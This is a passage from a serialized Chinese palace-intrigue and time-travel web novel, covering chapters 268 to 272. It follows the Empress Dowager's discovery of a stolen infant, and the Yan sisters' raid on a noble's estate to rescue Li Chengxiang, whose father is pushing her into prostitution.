“前不久宫里出了点事情,有人拿走了不属于自己的东西,若是她愿意将这件事情交给安平来处理,那么一切都好说,但若是不愿意,安平的手段,想必太后娘娘也应该十分清楚。” 太后拧着眉头:“哀家不知道你在说什么。” “没关系,还有一日的时间您可以考虑清楚。”燕晚清并不确定孩子究竟在不在太后的手里。 但是眼下萧鸿深已经被下到了大理寺,太后很快便收到消息。 届时她就会知道,自己往后的靠山倒了,需要另谋出路了。 届时哪怕孩子真不是她动的手,也能趁此炸出来一群宵小和党羽。 她便能趁此机会,将其一网打尽。 所以今日答应到太后这里来,其实也是过来下战书的。 降,则生。 不降,那就死。 燕晚清说完自己想要说的,便躬身行礼:“如此,安平便告退了。” 说完,她转身大步离开。 身后传来杯盏被掷在地上碎裂的声音。 她弯了弯唇角,没有回头。 太后死死的盯着燕晚清的背影,咬紧了后槽牙:“目中无人的东西!” “太后娘娘息怒!”宫人们吓得不轻,纷纷跪在了地上。 太后目光阴沉,她深呼吸两口气:“你,去七皇子府上,请他过来。” 宫女得了命令,赶紧出去了。 没多时便跑了回来,脸色慌张。 “太后娘娘不好了!大事不好了!” “慌什么!哀家还没死呢。”太后气得将手里的瓜子全部丢在她身上:“咋咋呼呼的,一点样子都没有,所以哀家最不喜欢你们这群宫女。” 该死的皇帝,杀光了她的那群宝贝疙瘩。 真该死! 宫女跪在太后面前,顾不得自己,赶紧开口说道:“太后娘娘,七皇子,七皇子他——” “怎么了?”一听是七皇子的事情,太后竖起了耳朵。 “他被大理寺抓了!”宫女总算将一整句话说完整了。 原本还气定神闲的太后,瞬间从椅子上跌落下来,整个人颓废的坐在了地上,口中呢喃。 “怎么会……”她愣住,蓦地看向宫女:“因为什么事情?” “通敌叛国!”宫女说这四个字的时候,面色苍白如纸。 太后听完直接整个人都蒙了。 就像是一场雷电直接在自己的脑海中炸开,将她炸的焦头烂额,浑身无力。 她甚至不知道自己是怎么被宫女们扶着坐在了软垫上,又是如何双手捧上热茶放在嘴边的。 “……这可是死罪啊……” 通敌叛国,情节严重者,可立刻执行斩立决。 那燕晚清好狠的手段啊! 太后浑身都是冷汗。 “这件事情陛下知道吗?”七皇子好歹是他的儿子,这件事情说什么,他都得问问吧。 只要拖延了时机,说不定那七皇子还有机会活下来。 人只要活下来,再依靠他背后的靠山,说不定还有翻盘的机会。 宫女摇了摇头:“陛下知道了,但是一句话都没有。” “没有陛下的命令,大理寺的人总不能真的将七皇子给杀了吧。”太后不敢置信。 但是皇帝向来冷血,这件事情,他未必做不出来。 “大理寺已经整理了安平郡主带回来的证据,说是明日就将奏折送进来。”宫女继续胆战心惊的说道。 现在都是皇后在代为批阅奏折。 这奏折送到皇后的手里,那不等同于直接判了萧鸿深的死刑?! 这是个必死之局啊…… 太后手脚冰凉。 她双手用力的捧进热茶。 想到了燕晚清临走之前说的话。 她说,只要按照筹码交易,就能护她性命以及荣华富贵。 但是她说的筹码到底是什么? 她摸不清楚头绪。 突然,她猛地抓住一个宫女的手:“昨儿个你是不是说在咱们宫内听到小猫叫?” 那宫女点点头:“在西北面,太后您最不喜欢的那处院子里。” “走,去看看!”太后赶紧起身,将茶杯往案几上一放。 这宫里怎么可能会有什么小猫呢。 肯定是有猫腻。 她走的很快,身后带着一群宫女。 快要走到院门口的时候,她突然停住了。 “你,和你跟着哀家进来,其他人在外面等着。”太后说道。 她带着两个宫女走进了院子里。 宫女们在她的命令下,将院子里的每一个门都打开了。 由于背处西面,十分炎热,又总是黑魆魆的,所以太后最不喜欢这里,平日里也从来不来。 时间一长,这里都被灰尘堆满了。 “你们听没听到什么声音?” 淅淅索索的。 太后面色紧张道,她抬脚朝着一处屋子走去。 刚走进去,一道黑影突然窜了出来,将她撞倒在地上。 “快拦住他!”太后赶紧尖叫道。 外面的宫女们听到声音,立刻蜂拥而上,将其挤在了门口。 那人也是有点身手在身上的,但是奈何宫女声音尖细,很快便将锦衣卫给招了过来。 没过多时,那人就被摁着头跪在了地上。 宫女们赶紧将他怀中奄奄一息的孩子夺了过来。 孩子送到了太后的面前:“太后娘娘,还活着。” 太后走到那人面前蹲下,用手指托起他的脸:“没想到还是个熟人,张公公,你不是死了么?” 本站网站:et 第二百六十八章 当哀家死的,你就带走 本该死在大火中的张公公,竟然又活着回来了。 他的半张脸都被烧伤,已经面目全非。 太后看着他,再看了看襁褓中的孩子。 突然笑出了声。 “真是天无绝人之路。” 燕晚清说的契机,竟然就真的出现了。 只要有这个孩子,她就能有和燕晚清谈判的机会。 有燕晚清作保障,岂不是比那地牢里不知生死还疯癫的七皇子稳的多? “既然被抓了,老奴也无话可说,要打要杀您下手便是。”张公公闭着双眼,悉听尊便。 太后松开了手,缓缓起身:“好歹咱们也算是旧相识,当初哀家的那三十多个宝贝里面,你也帮了不少忙,就这么让你死了岂不是便宜了你?” “来人,把他给哀家关起来。” 太后大手一挥,宫女们便要拉走张公公。 但是锦衣卫没有松手:“此人藏匿于深宫之中,还有个孩子,眼下应该交给锦衣卫处理。” “都交给你?”太后冷笑:“合着哀家忙了一通,功劳都是你锦衣卫的?” 她还指望着这个孩子和燕晚清谈条件呢。 交给锦衣卫,到时候全捅到皇帝面前,她可就死定了。 她可没有这么没脑子。 “哀家好歹也是个太后,你若是真当哀家是死的,尽管把人带走。” 这话一出,锦衣卫全部跪下。 他们说到底也不过就是皇室的奴才。 这太后惹了那么多事情,依然活的好好的。 不是他们这种小人物能够去招惹的。 想到这里,锦衣卫三个人还是默默不做声,离开了。 眼见着人离开了,太后拍了拍手,宫女们迅速将张公公带到了暗室里。 太后怀里抱着跟个小老鼠一样的孩子,满脸都是嫌弃。 “真丑。” 那孩子身上脏兮兮的,在宫里跟着张公公吃了上顿没下顿,还能活这么久,也是个命硬的。 “瞧着应该是喝的猫奶。”宫女说道:“难怪老是听见猫叫,原来是张公公给他找的母猫喂奶。” “这兽奶怎么养人啊?瞅瞅这饿得,还不赶紧去找太医找个奶妈过来?!”太后皱着眉头说道。 一个个都要等她说清楚,才肯去做。 用着一点都不顺手。 完全不如她之前的身边人。 那可是连她一个眼神都知道要做什么的。 太后越想心里越不舒服,连带着看着孩子也更加不顺眼了。 见奶妈过来,便直接将孩子丢给奶妈了。 奶妈一看见孩子就心疼的不行,赶紧带着去喂奶了。 只是太后不知道从哪里搞了个这么大的孩子,这件事情奶妈心里也是十分没谱。 这件事情一定是皇室秘辛,关系重大,她可不能乱说话。 想到这里,奶妈紧闭唇瓣,除了喂奶带孩子,其余一句话都不说。 张公公被太后关在后宫里,没事想起来就去折磨两下,人已经是进气还没有出气多了。 生怕把人玩死了没得玩的太后,又让太医给他看病。 这一晃,日子已经过去了五天。 小老鼠此时也被养白了,小脸蛋圆润了不少。 有时候太后看见了,也觉得比之前顺眼多了,她也愿意花点时间去抱抱。 只是她一直都想不好,要如何和燕晚清聊筹码。 “张公公这个怂包,竟然敢偷贵妃的孩子。”太后顺着脑海中的消息。 眼下孙贵妃的宫里是有孩子的,那就是说谁又把别人家的孩子塞给了孙贵妃,又或者说是她本人害怕被皇帝问责,所以自己找了个孩子。 不管哪个,那可都是欺君之罪。 这孙涟漪是孙家的嫡长女,喊着燕家主母孙青莲姑母,那跟燕晚清之间也是姐妹关系,难怪她要这么上心。 “有意思,当真是有意思的很。”有了筹码的太后,更加不着急了。 她要好好的想想,如何才能彻底拿捏燕晚清和燕家。 此时燕家。 燕黎安再次睁开了双眼,映入眼帘的是燕家人。 燕小六将银针收好,满眼希冀的看着他:“大哥,感觉怎么样?” 燕黎安眼眶一热,他点了点头:“想起来了,都想起来了。” 他终于想起来自己是谁,姓氏名谁,家在何处了! “好好好!”孙青莲听完很是高兴:“今日真是个高兴的日子。” “耶耶耶!大哥终于恢复记忆了!”燕子濯高兴的一蹦三尺高,他立刻窜到大哥的怀中:“大哥,我们出去玩!” 大哥失去记忆的这段时间,总是冷冰冰的。 他都不敢找他玩。 眼下又恢复到以前的样子,燕子濯心里别提多开心了。 燕黎安现在对于家里人有求必应,直接就背着燕子濯出去了。 看着他们的背影,燕晚清站在了孙青莲身边,用手挽住她:“母亲。” 听到女儿的声音,孙青莲用手拍了拍她的手背:“这段时间真是苦了你了,你都瘦了好一圈。” “不苦。”哪里会苦呢? 得知大哥死而复生的消息。 燕晚清都要开心死了。 倘若不是年纪大了,又顾及男女之别,她也想像燕子濯那般,趴在兄长的背上转圈玩耍。 “今日我亲自下厨,给你们熬鸡汤喝。”孙青莲看得出来今日特别高兴,她撸起袖子朝着厨房走去。 姐妹俩看着她的背影,笑嘻嘻的拉着手到了院子里看着大哥和小七玩耍。 “五姐姐要是知道大哥恢复记忆,一定会开心的不得了。”燕凌珍说道。 提起燕红昭,燕晚清眼睛里就闪过了愁云。 在自己回京之前的一段时间,她带着一群人离京去讨伐草莽去了,眼下已经十天了,还没有回来。 着实让她有些忧心了。 只是这是燕红昭自己选的路,她没有办法去干预。 五妹既然想变强,她这个当姐姐的只能鼎力支持。 燕黎安陪着燕子濯玩了一会儿,他朝着燕凌珍招了招手:“小六,你带着弟弟玩一会儿,大哥有事情要和晚晚说。” 燕晚清一听,手有些不自在的背到了身后。 这该来的躲不掉。 她轻咳一声:“大哥想问什么?” 燕黎安抿唇:“你应该知道的。” 燕晚清苦笑:“互不打扰,或许对你们来说是更好的选择。” 再次强行牵连到一起,对于谁来说都是不幸的。 燕黎安双手攥拳:“我只想知道那天她来了吗……” “来了。”燕晚清回答:“顶着个大肚子,深夜前来,然后哭着回去的。” “她……”燕黎安突然心尖发酸,胸口梗的生疼,连带着眼眶都开始湿润起来,声音被梗在了喉间:“你最近一直进宫,可有去看看她,她还好吗?” 本站网站:et 第二百六十九章 赚不到钱,你就去卖 当了母亲的她,现在过得好吗? 看着兄长的神情。 燕晚清重重的叹了一口气,她就知道,兄长恢复记忆之后,一定会问道贵妃娘娘。 可是那又能如何? 她已经嫁做人妇,孩子都出生了。 他们之间早就不可能了。 “晚晚,大哥只是想远远的看她一眼,确定她过得好就死心了。”燕黎安轻轻的说道。 燕晚清叹了一口气。 “大哥若是想知道,过两天我找个机会进宫,你跟着我去吧。” “好。”燕黎安听完心里终于松了一口气。 他真的很害怕燕晚清会不答应。 但是还好,她答应了。 “这么多年过去了,大哥应该学会往前看了。”燕晚清还是没忍住说出这句话。 看着兄长明显又是陷入了回忆的样子,她再也不忍,抬脚走向了外面。 留下燕黎安一个人站在院子里,对着天井痴痴地发呆。 他何尝不想朝前看? 只是情关难过,他燕黎安也不能除外罢了。 …… 燕晚清回到了院中,从歌早就准备好了洗澡水,还有一些甜品吃食等着了。 这次她回来之后,从歌高兴地不得了。 拉着她讲了好多话,每次睡觉都要睡在她隔壁的小床上。 生怕燕晚清再次离开。 知道她是关心自己,燕晚清也就由着她去了。 “小姐今日实在是太炎热了,您赶紧洗个澡,洗完澡凉快些。” 燕晚清轻笑:“母亲今日中午炖了鸡汤,待会儿喝了又是一身的汗。” 从歌只能作罢:“那就只能等午膳过后了,到时候洗完澡午休。” “嗯呢。”燕晚清一边回答,一边走向了自己的书桌。 上面有很多封没有回复的信件,都是她回京之后,下属们送上来的。 她一封一封的翻阅过去,时间很快就过去了。 这段时间,各个组织之间都运转的很好,六妹已经能够独立开始解决各个组织之间的关系了。 真没有想到,关键时刻,竟然都是她顶上去的。 燕晚清心中十分的欣慰。 正想着,人就过来了。 燕凌珍神秘兮兮的关上了门。 “阿姐,我有事要跟你说。” 燕晚清摸了摸她的头:“什么事情?” “那个瑶池县主的诗作都是抄的。”燕凌珍从怀中掏出一本诗集:“这些诗作风格各异,根本不是她能够写出来的。” “我知道。”诗作乃是阅历积累才能由衷抒发,里面那些被贬困顿的心境,她李呈媛如何能理解? 听到燕晚清说自己知道,燕凌珍心里松了一口气:“这个小偷,以为背下来默写出来,这些诗就是她自己的了,真不要脸,简直是丢死人了。” 她最不屑这种偷鸡摸狗的行为了。 “没必要因为这种人生气。”燕晚清安慰道。 燕凌珍心里憋屈。 她可太有理由生气了。 李呈媛和她分明就是一个地方来的,这种行为分明将自己的脸面也丢光了。 她也是前不久出去逛集市,看到商贩们在卖,所以才翻阅了一下,这一看可不得了。 “反正她已经死了。”燕晚清面无表情的抛出重爆消息。 燕凌珍捂住嘴:“死了?怎么死的?” 她们这种穿越到古代的女子,不都是大女主吗?怎么还能死呢! 这不该有buff加成么?! 燕凌珍不敢相信。 反正她就玩玩医术,在大姐的光辉下彻底摆烂,当自己的小富婆就行了。 可是李呈媛不一样啊,她走的路子分明都是里面大女主的路子,怎么还把自己给走死了呢? 面对小六的震惊,燕晚清不想将这种血腥的事情说给她听。 “不知道,我也是收到消息,说是跳城墙死的。”燕晚清含糊其辞的过去了。 燕凌珍撇撇嘴。 竟然选择跳城墙这种be的结局。 难道她进的是个悲剧本子? 不过人已经死了,她再去臆想多少就有点不礼貌了。 “只是现在李家人还不知道这个消息吧?”燕凌珍开口:“那李大人自从女儿被封为瑶池县主,整日里便在外面招摇过市,和诗友们吟诗作对,每次都是他做东,据说花了不少钱呢,李大小姐赚的钱都不够他花的了。” 听到李呈祥,燕晚清关注的看过来:“李大小姐最近生活的很困难吗?” “有那样一个父亲和妹妹,能不困难吗?最近小六一直有从金钱豹支取银子过去接济,只是这样下去也不是办法啊。”燕凌珍叹了一口气:“那七皇子眼下已经被关在地牢里了,李大人的岳父梦想破灭了,说不定现在正被债主堵在家里呢。” 一听情况竟然这么严重,燕晚清有些放心不下了。 “你跟我现在过去一趟。”有人临死之前,求她护李呈祥周全,她不能言而无信。 尤其是李呈媛的死跟她有关。 李家变成现在这个样子,也和她脱不了干系。 别人的死活她燕晚清管不了,但是李呈祥,她就一定要管! 姐妹二人急匆匆的出府,燕晚清直接抱着燕凌珍在大街小巷穿梭,半盏茶的功夫都不到,姐妹俩就已经站在了李家的墙头上。 果然不出燕凌珍所料。 一群要债的将李家大门堵得严严实实。 “这李大人竟然荒唐到这种地步,欠下如此多的银钱。”燕晚清忍不住皱眉说道。 燕凌珍叹了一口气:“我前脚从金钱豹取银子给李大小姐,后脚这钱就被李大人送给了各大酒楼,我也没辙了。” 尤其是最近,这李大人偏爱烟花巷。 隔三差五的就约个三五好友过去找知心姑娘聊天喝酒,吟诗作对,附庸风雅。 钱当然哗啦啦的往外流。 姐妹二人正说着话。 只听见屋内传来一声哭喊。 “父亲不行——求您了父亲!女儿可以去赚钱,求您不要啊!” 是李呈祥的声音。 燕晚清刚要下去,被燕凌珍拉住了手。 “阿姐,不急,再看看。” 只见李大人将李呈祥拖到了院子里。 他大发雷霆:“你身为我们李家的女儿,就应该为李家做贡献,眼下你妹妹不知去处,那七皇子也在地牢里,你现在又赚不了钱了,家里欠了真多钱,你当真想要这群人剁了为父的手么?你何其忍心!” “那您就要女儿去卖身换钱吗!”李呈祥呐喊出声。 她满眼都是哀怨:“这是你一个身为父亲应该做的事情吗?你也是朝廷命官,这种事情做出去,你的官职还能包得住么!” “这件事情不用你管,今天的酒会你必须去,只需要陪那王老爷一晚,就一晚,为父的这些债,他都会替为父还掉的,还会保密,两全其美啊。”李大人沉声说道。 李呈祥简直不敢相信自己的耳朵。 她摇着头看着自己的父亲:“我不去,我宁愿死也不会去的!” “由不得你选择,为父没有在和你商量。”李大人伸出手将她拽起身来,见她不顺从,又狠狠的丢在了地上。 本站网站:et 第二百七十章 你听话,她们就相安无事 “阿姐,我们下去吗?”燕凌珍问道。 燕晚清摇了摇头:“一起去看看,我倒要看看哪个王老爷吃了熊心豹子胆。” 燕凌珍勾了勾唇角,眼里闪过看热闹的神色。 好家伙,阿姐生气了,替李大人还有这个王老爷默哀。 “你哭什么哭,要不是你选了个叛贼当夫君,咱们李家至于沦落到这个地步吗?”李大人破口大骂,指着李呈祥,恨不得自己从来没有生过她。 李呈祥哭的麻木了,跌坐在地上,一声不吭。 她不知道自己究竟都做错了什么。 为什么世道要这样折磨她。 “你说你,你妹妹还在家的时候,你就处处跟她作对,现在好了,人给你气走了,不回来了,你高兴了!”李大人说的气愤,吐沫星子乱飞。 李呈媛还在的时候,这群官僚对他可恭敬了。 出去请客吃饭从来都是十分气派的,还会跟他抢着买单,到哪儿都是被簇拥的对象。 哪里像现在这样。 自己花钱请客吃饭,对方都不来! 李大人说的口干舌燥,跑回屋里找茶喝了。 眼下李家已经没有钱再去请下人了,什么事情都是李呈祥负责。 李大人进屋找不到茶水喝,又开始破口大骂。 李呈祥赶紧从地上爬起来,去打水去厨房烧水。 一套动作下来十分熟稔,看来已经干了很多次。 燕晚清看的心中十分酸涩。 是她没有照顾好李呈祥,辜负了那人的嘱托。 “小六你先回去跟母亲说,今日我不回去用午饭了。” 她要呆在这里,看看这王老爷究竟是何方人士。 胆敢把注意打在李呈祥身上,就一定要付出代价! 燕凌珍也不想回去,她想凑热闹,但是阿姐吩咐了,她只能往回走,满眼都是不舍。 “阿姐,你要等我啊,我还来的。” 她一边走一边回头,恨不得自己长了四只脚。 院子外面都是要债的人,天气十分炎热,他们喊累了,坐在屋檐下面的阴凉处,嘴里还在骂骂咧咧。 燕晚清从房梁上跳了下去,用帕子遮住了半张脸,走到了他们面前。 “你们都是找李大人要债的?” 几个人听到声音,又上下打量了一下燕晚清,见她穿着打扮都是不俗,一看就是非富即贵。 赶紧从地上爬起来。 “你认识这家人?” “不算太熟。”燕晚清轻声答道,跟李大人不熟,跟李家大小姐还挺熟的。 “这家老爷,欠了我们酒楼的钱,回回都赊账,一开始李家大小姐还有钱送过来,后面直接就是没钱了,这都一个多月了,眼下大门紧闭,将我们拒之门外,实在是岂有此理!要不是看他是个当官的,我们早就去殿前敲登闻鼓了!” 那人越说越气,额头上的汗珠顺着面颊往下滴落,在热气腾腾的地面上炸开一朵水花,然后迅速被烘干,只留下一圈浅浅的印记。 其他人基本上也是差不多的情况,说道李家人那就是破口大骂。 燕晚清安静的听着他们诉说着自己的怒气,过了好半饷,有个人看着她疑惑道:“你也是过来要钱的?” “是也不是。”燕晚清一脸神秘,用手指了指李家:“只不过听了你们的事情,这李大人实在是太不像话了,欠钱不还,还继续到处赊账,只是你们这样堵在他的门口,也不是个事情,他反正在家,十天半个月不出门没事,你们日日顶着这大太阳站在这里要债,实在是太辛苦了。” 听着燕晚清说着体恤他们的话,宛若在这炎炎夏日吹来了一阵清爽的凉风,别提心里多舒服了。 “是啊是啊,听你这么说,你有什么好办法吗?” 只要能快速要到钱,回去跟自家主子交差,他们几个也少受点这风吹日晒的苦。 燕晚清朝着他们勾了勾手指:“你们附耳过来。” 几个人迅速凑了过去。 很快他们便四下散开了。 李家门口空空荡荡,又恢复了之前的寂静。 燕晚清勾了勾唇角,眼里闪烁着恶意的光芒。 这堵门要债可不行,李大人不出去,他们抓不到本人,这钱怎么要得到? 得把他放出去才行。 看着天边恶毒的日头。 燕晚清也感到了炎热,索性上了李家对面的茶楼,正对着那李家大门的窗户位置坐下了。 喝着茶,听着小曲儿,燕晚清目不转睛的盯着那紧闭的大门。 李家内院。 听不到门外动静的李呈祥,放轻脚步声走到了大门口,从门缝里向外张望。 果然是都走了。 难道是今日太热了,他们这群人挨不住了? 李呈祥心里松了一口气。 本来家中还能靠着她手里的铺子慢慢运转一下的,后来李呈祥直接从自己的手里要走了一大半铺子,只留给她一小部分,在李父的铺张浪费之下,很快就拮据了起来。 她打听了一下之前的那些铺子,结果现在全都变成了七皇子的所有物了。 而眼下七皇子通敌叛国身处大理寺地牢中,这些铺子也就通通都被官府查封。 面对那些要债的酒楼小馆,李家终于开始捉襟见肘了。 “父亲,外面的那群人走了。”李呈祥想了想还是和李父说了这件事情。 李大人喝着茶,坐在椅子上看诗集。 李呈祥认出来了,那是三妹临走之前默写下来给他的。 李父爱不释手,书皮都翻烂了,还在看。 她收敛了目光,低垂下去。 “好啊,总算走了,这群见风使舵的坏种,等到老夫的女儿回来,要他们好看!” 他女儿可是圣上亲封的瑶池县主。 哪怕这七皇子不成器了,那么圣上也能重新再给她赐婚。 届时李家东山再起,也就是洒洒水的事情了。 “你怎么穿这套衣服?”李大人从诗集里抬头看见一身粗布衣服的李呈祥,皱了皱眉头:“赶紧去梳洗打扮,换个漂亮的衣服,别整天哭丧着脸,到时候王老爷要是不喜欢你可怎么办!” 李呈祥双手捏紧。 胸腔内满是怒火和哀怨。 “我说了我不会去的!你要是逼我,我就死给你看!” “该死的丫头!”李大人将诗集重重拍在桌子上,指着李呈祥破口大骂。 “你要是不去,老夫就将你之前的那些丫鬟全部都卖到烟花巷去!”李大人手里捏着这群人的卖身契,心里十分有底气。 李呈祥简直不敢相信自己的耳朵。 她满眼猩红看着自己的父亲:“她们已经出去干活赚钱替你还债了,你究竟还想怎么样?” “你听话,她们就会相安无事。”李大人冷漠的看着她:“选择权在你。” 本站网站:et 第二百七十一章 嫌我麻烦?怕你长针眼 求生不能,求死不得。 李呈祥万万没有想到,这是生父给她的选择。 “……今日若是三妹妹站在这里,您还会提出这样的要求吗?” 李父没说话,坐在椅子上,缓缓拿起桌子上的诗集,慢条斯理的看了她一眼。 李呈祥的心瞬间就凉透了。 那天李呈媛一头撞死在这屋子外面的石头上的时候,李父也是这般站的远远的观看。 所以不论今天站在这里的是谁,对于李父来说都没有什么区别。 自从弟弟死后,他就彻底变了一个人,不,或许对于他来说,女儿们本就是他可以拿去换取前程的工具罢了。 今日不过是因为家道中落,李父就可以让她去陪王老爷,往后那便可以去陪张老爷,宋老爷…… 李呈祥看着他摇了摇头。 “但愿您不会后悔……” 说完她退了出去。 夜幕逐渐降临。 李父站在门口确认真的没有追债的人之后,他才松了一口气。 这群人要不到钱,看来是真的走了。 真是一群狗眼看人低的东西。 “你怎么还没有收拾好?王老爷已经在等了,快点!”李父站在李呈祥的门口,催促道。 李呈祥面色苍白如纸,唇上更是一点血色都无。 李父看着来气:“你就不会抹一点口脂么?做出这幅死人样子做什么?!真是晦气,打扮都不会,真是一点都不如你的妹妹。” 李呈祥咬紧牙关,拿出口脂在唇瓣上抹了抹。 李父这才舒缓了眉头。 “这才对嘛。”看着李呈祥乖巧听话的模样,李父心里顺心多了:“收拾好了就出来吧,王老爷派过来的马车就要到了。” 父女俩一上车,对门茶楼里的燕晚清和燕凌珍就下了楼。 “阿姐,李家大小姐还真的愿意跟过去啊。”要是换作是她,早就一包毒药下去,送这个老不死的提前下地狱去了。 燕晚清目光幽深:“你不是她,她也不能做到像你这般洒脱。” 若是换做寻常,由她出面教训一下李大人便可以了。 但是这治标不治本。 她的威严可能持续个几个月,几个月之后呢? 背对着她的时候呢? 李呈祥又该何去何从? 所以这次,燕晚清才会耐着性子一直等到晚上,打算直接从根源上解决这个问题。 姐妹二人迅速上了一辆马车,跟在了李家父女的后面。 马车越走越偏僻,已经接近城郊,最终在一处华丽的院落外面停了下来。 “阿姐,他们下车了。”燕凌珍掀开车帘,小声的说道。 李家父女的面上都蒙着黑布,此时由下人们带领走进了门。 门口有两名壮汉,他们过去的时候,还要细细的盘问一番,才放进去。 在这期间,不断有马车过去,每辆马车上面都有一位妙龄女子,看情况和李呈祥差不多。 “没有想到京都竟然还有这么肮脏的地界。”燕凌珍这下次看明白了。 这不就是官员们之间的不正经交易么。 燕晚清见状冷笑两声。 “人多的地方,龌龊的东西也多,待会儿我进去,你就不要跟过来了。” 燕凌珍这下子不乐意了:“阿姐是嫌我麻烦?” “是害怕你长针眼。”燕晚清点了点她的鼻子,然后迅速在外袍上面套上夜行衣。 她倒要看看,京都都已经萧条成这般模样了,究竟是谁敢这般骄奢淫逸! 此时李家父女已经进去了。 燕凌珍捏着燕晚清的衣摆不松手:“阿姐你带带我,带我进去!我保证绝对不添麻烦!” 燕晚清没辙,只能让她跟着。 燕凌珍麻溜的脱掉外袍,露出里面的夜行衣,动作麻利的戴好了面具。 “走吧阿姐。” 燕晚清唇角抽了抽,这妮子,原来是早有准备啊。 见阿姐看自己,燕凌珍有些不好意思的吐吐舌头:“我保证进去之后都听阿姐的。” “真是拿你没办法。”二人在昏暗处下了马车,燕晚清一只手搂着她的腰肢,再三告诫:“千万不能松开我,知道吗?” “当然了阿姐!绝不松开。”燕凌珍发誓。 姐妹二人顺着夜色,走到了围墙之下,里面传来琴瑟丝竹的声响,看来已经开始了。 “这王老爷一定不是什么好东西,竟然搜罗了这么多的美女。”燕凌珍趴在围墙上,义愤填膺的说道。 里面环肥燕瘦,各式各样的美人穿梭在亭台水榭之间,手里有的端着酒壶,有的端着水果,还有些随着音乐起舞的。 燕晚清无奈的叹了一口气:“你看看李家大小姐在哪里。” “暂时还没有看见。”燕凌珍站在自家阿姐的肩膀上,双手奋力扒着围墙朝里四处张望。 满院子都是美人,唯独没有看见李家父女在哪里。 “阿姐,我们得进去找。”这在外面看实在不是个法子,她还担心自己把阿姐的小肩膀压塌了。 燕晚清练功至此,已经能够扛起巨石,燕凌珍身材瘦小,对她来说十个都没有问题,实在是自家小六多想了。 “走吧。”眼下还有个一盏茶的时间。 燕晚清带着小六,不费吹灰之力直接从墙头跃进去了院子里。 两个人迅速脱掉了身上的夜行衣,将自己装成被送进来的美人。 一大一小,虽然遮盖着下半张脸,只露出一双眼睛,也别有一番风情美。 “你们两个,怎么进来的!”假山后面的二人还没有走两步,外面就站着一个类似于管家模样的男子,有着八字胡子。 他狐疑的用手指着燕晚清二人,分明是没有见过这两位的画像。 燕晚清朝着他勾了勾手:“你站太远了,过来点说。” 美人桃花眸微抬,里面全是羞怯,看的那男子酥了半边身子。 身体比脑子快,等到他想明白的时候,已经站在他们二人面前了。 还没有开口说话,白眼一翻就直接倒在了地上。 燕小六抬脚在他身上踹了一脚:“你瞅你聪明的,先杀聪明的!” 燕晚清单手拎着被迷晕了的那人,直接丢进了假山里面。 “药效多久?”她问。 燕凌珍想了想:“估计咱们救出李大小姐回去睡个觉之后,他还没醒呢。” 意思就是时间足够。 “我们分头找,不管找没找到,一盏茶之后在这里集合。”燕晚清拍了拍燕凌珍的肩膀吩咐道。 第二百七十二章 出嫁前从父,出嫁后从夫 燕凌珍身形比较瘦小,但是再过几年也要及笄了。 她的身体里本来就是成年人的灵魂,所以游刃有余的穿梭在各色人之间。 一双眼睛黑黢黢的,在夜晚很是晶亮。 “人会在哪里呢?”燕凌珍推开一扇门,看到一个肥头大耳的人压在一女子身上,表情淡定的又将门给关上了。 “吗的谁呀?”屋内的人眼看着就要登上极乐世界,突然被打断,满脸怒气的朝着门口的位置看过去。 燕凌珍随手抄起地上的小木棍儿,放在了门栓上。 看着整扇门都被剧烈的晃动,她语气异常嚣张的朝着里面喊道:“我是你爹。” 门内的人一听,更加来气:“哪来的丫头片子,皮痒了是吧!” “关你屁事!”燕凌珍摇头晃脑的继续走到下一个房门口,这次她更加轻车熟路,直接多捡了好几个木棍子。 不过下个房间里只有两个哭哭啼啼的女子,见到她开门,都愣了一下。 但是很快二人又抱作一团哭了起来。 燕凌珍被哭的脑瓜子疼,将门给关上了。 这一连开了好几个房门,各式各样的都有,就是没有看见李家大小姐。 手里的小木棍倒是用完了。 此时她站在走廊的尽头,叹了一口气。 一连好几个门都被疯狂晃动着,喊骂声此起彼伏,还有几个直接隔着墙壁,在门口开始了骂战。 真是热闹。 这都是她燕小六打下的江山啊。 这王家老爷可真是个人才。 能绕过姽婳楼的眼线,在京都边儿上搞这么大动静,值得她燕小六夸上一夸。 这些女子大多数都是因为各式各样的原因被扣留在这里的,像李家大小姐那样还债的估计不少。 心甘情愿留在这里的,估计没有。 但是因为有把柄在王老爷手里,所以她们又不得不屈服他的淫威,从而顺从的去服侍那些来到这里的达官贵人。 说的难听一点,这里算是高级一点的烟花巷。 “不过这新来的姑娘们究竟被关到哪里去了呢。”燕凌珍叹了一口气:“难道这里有什么不为人所知的密室?” 燕小六朝着更深的长廊走去。 时间还早,她就不信自己找不出来。 “哎!你去那边做什么!”突然身后传来喊叫声,一个小厮模样的男子凶神恶煞的看着自己。 燕凌珍一脸无辜:“我,我迷路了啊。” 小厮见她一双桃花眼忽闪忽闪的,看起来十分可爱,忍不住上前:“迷路了也不要乱走,这里面可都是大官,得罪了他们你几条命都不够的,不要给老爷惹麻烦了。” 说着他企图伸出手抓住燕凌珍的手臂。 可惜手刚伸过去,一阵白雾就从眼前闪过。 燕凌珍抬脚将他一下子从长廊上踹到了边上的灌木丛里面,黑灯瞎火的,一个活人进去,根本看不见。 “多管闲事,我来这里,就是给姓王的找麻烦的。”她轻哼一声,拍了拍手,将手里的余粉拍了个干净,步伐坚定的朝里面走去。 不过燕凌珍还是留个心眼。 她担心自己会因为事情缠住,到时候约定时间到了,自己反而过不去让阿姐担心,所以她沿路留下了只有自己和阿姐知道的记号,这样阿姐就能顺着记号找到自己了。 做好记号后,燕凌珍大摇大摆的朝着挂着红灯笼的走廊走了过去。 她倒要看看,这里面究竟是什么大官。 难不成还有她阿姐大么! 只是这大官的地方到底是不同,刚走没几步,就有暗卫出现拦住了自己的去路。 燕凌珍无奈的停下了脚步:“我劝你们不要徒劳。” 这世上能拦得住自己的,只有母亲和阿姐。 其他人,她可是甩都不甩一下的。 两个暗卫对视了一眼,都看到了彼此眼中的杀气,话不多说,直接出手。 只是刚迈出两步,突然双双捂住自己的胸口。 “你……” “我怎么?”燕凌珍叹了一口气:“不听老人言吃亏在眼前,让你们不要徒劳,非不听,啧啧……只能那你们试试我新研制的毒了。” “起初你们会感觉到心悸,就像是一见钟情一样,再然后你们会浑身都陷入甜蜜之中,四肢软绵绵十分舒适,再然后情感到达了巅峰之后,你们会感觉到很幸福,当幸福过后就是求而不得的难受,心脏就会像是溺水一般,喘不过气来,迎接最后的死亡。” 燕凌珍双手捧着自己的小脸,笑的特别温暖:“我给这个毒取名为‘爱情’你们觉得怎么样?” 两个暗卫此时已经瘫在地上,很艰难的用双手撑着地面,艰难的呼吸。 